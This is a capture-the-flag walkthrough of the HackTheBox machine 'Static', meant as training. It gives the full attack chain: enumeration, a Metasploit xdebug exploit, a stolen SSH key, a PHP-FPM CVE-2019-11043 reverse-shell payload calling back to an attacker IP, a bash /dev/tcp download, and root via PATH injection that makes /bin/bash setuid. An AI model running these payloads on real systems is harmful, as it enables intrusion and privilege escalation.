HackTheBox – Static Walkthrough

┌──(rootkali)-[/home/kali/Downloads]
└─# nmap -A 10.10.10.246


┌──(rootkali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.10.246:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,txt

http://10.10.10.246:8080/robots.txt


http://10.10.10.246:8080/.ftp_uploads/

http://10.10.10.246:8080/.ftp_uploads/warning.txt

┌──(rootkali)-[/home/kali/Downloads]
└─# apt-get install g++


After some google
i found a tool for fix
the corrupted gz
files.
┌──(rootkali)-[/home/kali/Downloads]
└─# git clone https://github.com/yonjar/fixgz.git
┌──(rootkali)-[/home/kali/Downloads]
└─# cd fixgz/
┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# ls -la

┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# g++ fixgz.cpp -o fixgz
┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# ls

┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# ./fixgz /home/kali/Downloads/db.sql.gz db.gz


──(rootkali)-[/home/kali/Downloads/fixgz]
└─# gunzip db.gz
┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# ls –la

┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# cat db

Found username(admin)
and hash(d033e22ae348aeb5660fc2140aec35850c4da997)
and a totp(orxxi4c7orxwwzlo)
┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# cat hash

┌──(rootkali)-[/home/kali/Downloads/fixgz]
└─# john hash

http://10.10.10.246:8080/vpn/login.php
username: admin
password: admin


But the good news is we have the secret
totp(orxxi4c7orxwwzlo)

──(rootkali)-[/home/kali/Downloads]
└─# curl -I http://10.10.10.246:8080

┌──(rootkali)-[/home/kali/Downloads]
└─# date -s “17 Dec 2021 06:52:44”

┌──(rootkali)-[/home/kali/Downloads]
└─# timedatectl set-time “08:20:43”


Use the token and we are in

Common name: web

Click on generate

┌──(rootkali)-[/home/kali/Downloads]
└─# ls -lrt | grep web.ovpn

┌──(rootkali)-[/home/kali/Downloads]
└─# openvpn web.ovpn

┌──(rootkali)-[/home/kali/Downloads]
└─# cat web.ovpn

┌──(rootkali)-[/home/kali/Downloads]
└─# cat /etc/hosts | grep 10.10.10.246

┌──(rootkali)-[/home/kali/Downloads]
└─# openvpn web.ovpn

Now let’s go to this web
ip.

But it’s loading
and we can’t see the web
page.

We see in the image
that we have two interface
first tun0 second tun9
but in tun9 we have the ip 172.30.0.9
and the web page we want to access that’s ip is 172.20.0.10
.
┌──(rootkali)-[/home/kali/Downloads]
└─# ifconfig

So we want to add the route
for access the web
page in tun9
interface.
┌──(rootkali)-[/home/kali/Downloads]
└─# ip route add 172.20.0.0/24 dev tun9

And now we can access the web page.
Let’s go to info.php


Found the xdebug
let’s check the exploit
for that.

https://www.rapid7.com/db/modules/exploit/unix/http/xdebug_unauth_exec/
msf6 > use exploit/unix/http/xdebug_unauth_exec
msf6 exploit(unix/http/xdebug_unauth_exec) > set PATH /vpn/login.php
msf6 exploit(unix/http/xdebug_unauth_exec) > set RHOSTS 172.20.0.10
msf6 exploit(unix/http/xdebug_unauth_exec) > set LHOST tun9
msf6 exploit(unix/http/xdebug_unauth_exec) > set LPORT 9001

msf6 exploit(unix/http/xdebug_unauth_exec) > options

Now let’s run the exploit.
Boom we got the shell.
msf6 exploit(unix/http/xdebug_unauth_exec) > run

meterpreter > shell

Pwd
cd /home/www-data/.ssh
ls –al

cat id_rsa


┌──(rootkali)-[/home/kali/Downloads]
└─# chmod 600 id_rsa
┌──(rootkali)-[/home/kali/Downloads]
└─# ssh -i id_rsa www-data@10.10.10.246

Let’s try with custom
port of ssh 2222
which we see inside nmap
scan.
And we got the user.txt
┌──(rootkali)-[/home/kali/Downloads]
└─# ssh -i id_rsa www-data@10.10.10.246 -p 2222

www-data@web:~$ cd /home
www-data@web:/home$ ls –lrt
www-data@web:/home$ cat user.txt

Privilege escalation
If you see on the Support Portal we have another network of ip(192.168.254.3).

www-data@web:/home$ ifconfig

┌──(rootkali)-[/home/kali/Downloads]
└─# ssh -L 80:192.168.254.3:80 www-data@10.10.10.246 -p2222 -i id_rsa

Now let’s go to localhost
or 127.0.0.1
and we got the page.
There is nothing
on the website just saying batch mode: /usr/bin/ersatool...

And if we check
the header we see PHP-FPM/7.1
is running let’s check the exploit
for that.

https://github.com/theMiddleBlue/CVE-2019-11043
After reading the article
i understand that how to exploit
this and get rev
shell
┌──(rootkali)-[/home/kali/Downloads]
└─# git clone https://github.com/theMiddleBlue/CVE-2019-11043.git

┌──(rootkali)-[/home/kali/Downloads]
└─# mv CVE-2019-11043/exploit.py .
┌──(rootkali)-[/home/kali/Downloads]
└─# rm -rf CVE-2019-11043/
┌──(rootkali)-[/home/kali/Downloads]
└─# ls -al | grep exploit.py

┌──(rootkali)-[/home/kali/Downloads]
└─# cat dedsec.py

CODE:
import requests
payload = ‘/usr/bin/python3.6 -c \’import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.254.2”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)\”
r = requests.get(“http://192.168.254.3/index.php?a=”+payload)
print(r.text)
https://github.com/H74N/netcat-binaries/blob/master/nc

┌──(rootkali)-[/home/kali/Downloads]
└─# scp -P 2222 -i id_rsa nc www-data@10.10.10.246:/tmp/nc

┌──(rootkali)-[/home/kali/Downloads]
└─# scp -P 2222 -i id_rsa exploit.py www-data@10.10.10.246:/tmp/exploit.py

┌──(rootkali)-[/home/kali/Downloads]
└─# scp -P 2222 -i id_rsa dedsec.py www-data@10.10.10.246:/tmp/dedsec.py

www-data@web:~$ cd /tmp
www-data@web:/tmp$ ls –lrt

www-data@web:/tmp$ chmod +x nc
www-data@web:/tmp$ ./nc -nlvp 9001

On another terminal
www-data@web:/home$ cd /tmp
www-data@web:/tmp$ python3 exploit.py –url http://192.168.254.3/index.php

www-data@web:/tmp$ python3 dedsec.py

On listener

www-data@pki:~/html$ id
www-data@pki:~/html$ pwd
www-data@pki:~/html$ ls

Now if you remember
we see a file called ersatool
on web page. Let’s check
that file.

After checking
that file i known that it’s a binary
which running as root
.
www-data@pki:~/html$ ls -al /usr/bin/ersatool
www-data@pki:~/html$ file /usr/bin/ersatool

And after some enumeration
i found the source code
that file.
www-data@pki:~/html$ cd /usr/bin
www-data@pki:/usr/bin$ find / -name ersatool.* 2>/dev/null

www-data@pki:/usr/bin$ cat /usr/src/ersatool.c






So we have two methods for geting root
1. using format string vulnerability
2. path injection
So i use path injection for doing that.
So let’s monitor
the calls of binary with pspy
but the problem is how do we transfer
that pspy binary on that machine
because there is no curl
and wget or nothing
for that.
But i found a way to transfer
pspy into machine by help of this article
.
Link
: how to download a file using just bash and nothing else
With the help
of this bash script
i will transfer that pspy
binary.
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

┌──(rootkali)-[/home/kali/Downloads]
└─# scp -P 2222 -i id_rsa pspy64s www-data@10.10.10.246:/tmp/pspy

www-data@web:/tmp$ ls -lrt
www-data@web:/tmp$ python3 -m http.server 1337

Follow the steps
again to get the second shell with dedsec.py
because we want two shells
first is for running pspy
second is for running ersatool binary
.
After everything
ready go to the shell
which we get from dedsec.py
and paste the whole script
on terminal.1. go to /tmp directory
2. create a directory www
3. paste the whole code which we get from StackOverflow
4. then call the function with __curl
5. and download the file inside /tmp/www directory
www-data@pki:/usr/bin$ cd /tmp
www-data@pki:/tmp$ mkdir www
www-data@pki:/tmp$ cd www

But i found a way to transfer
pspy into machine by help of this article
.
how to download a file using just bash and nothing else (no curl, wget, perl, etc.)
Link
: https://unix.stackexchange.com/questions/83926/how-to-download-a-file-using-just-bash-and-nothing-else-no-curl-wget-perl-et
With the help
of this bash script
i will transfer that pspy
binary.
www-data@pki:/tmp/www$ function __curl() {
> read proto server path <<<$(echo ${1//// })
> DOC=/${path// //}
> HOST=${server//:*}
> PORT=${server//*:}
> [[ x”${HOST}” == x”${PORT}” ]] && PORT=80
>
> exec 3<>/dev/tcp/${HOST}/$PORT
> echo -en “GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n” >&3
> (while read line; do
> [[ “$line” == $’\r’ ]] && break
> done && cat) <&3
> exec 3>&-
> }

www-data@pki:/tmp/www$ __curl http://192.168.254.2:1337/pspy > pspy


Now after transferring
pspy run that on first rev
shell.
www-data@pki:/tmp/www$ chmod +x pspy
www-data@pki:/tmp/www$ ./pspy | tee log &


/usr/bin/ersatool
create
a
a
b
exit

And i capture
all calls of the binary
and i found that openssl
was call without giving the full
path.

┌──(rootkali)-[/home/kali/Downloads]
└─# cat openssl

┌──(rootkali)-[/home/kali/Downloads]
└─# cat openssl | base64

www-data@pki:~/html$ cd /tmp
www-data@pki:/tmp$ mkdir pwn
www-data@pki:/tmp$ cd pwn

www-data@pki:/tmp/pwn$ echo “IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=” | base64 -d > openssl

www-data@pki:/tmp/pwn$ cat openssl

www-data@pki:/tmp/pwn$ chmod 755 openssl
www-data@pki:/tmp/pwn$ ls –al

www-data@pki:/tmp/pwn$ export PATH=/tmp/pwn:$PATH
www-data@pki:/tmp/pwn$ echo $PATH

www-data@pki:/tmp/pwn$ ersatool



www-data@pki:/tmp/pwn$ ls -al /bin/bash

www-data@pki:/tmp/pwn$ /bin/bash -p

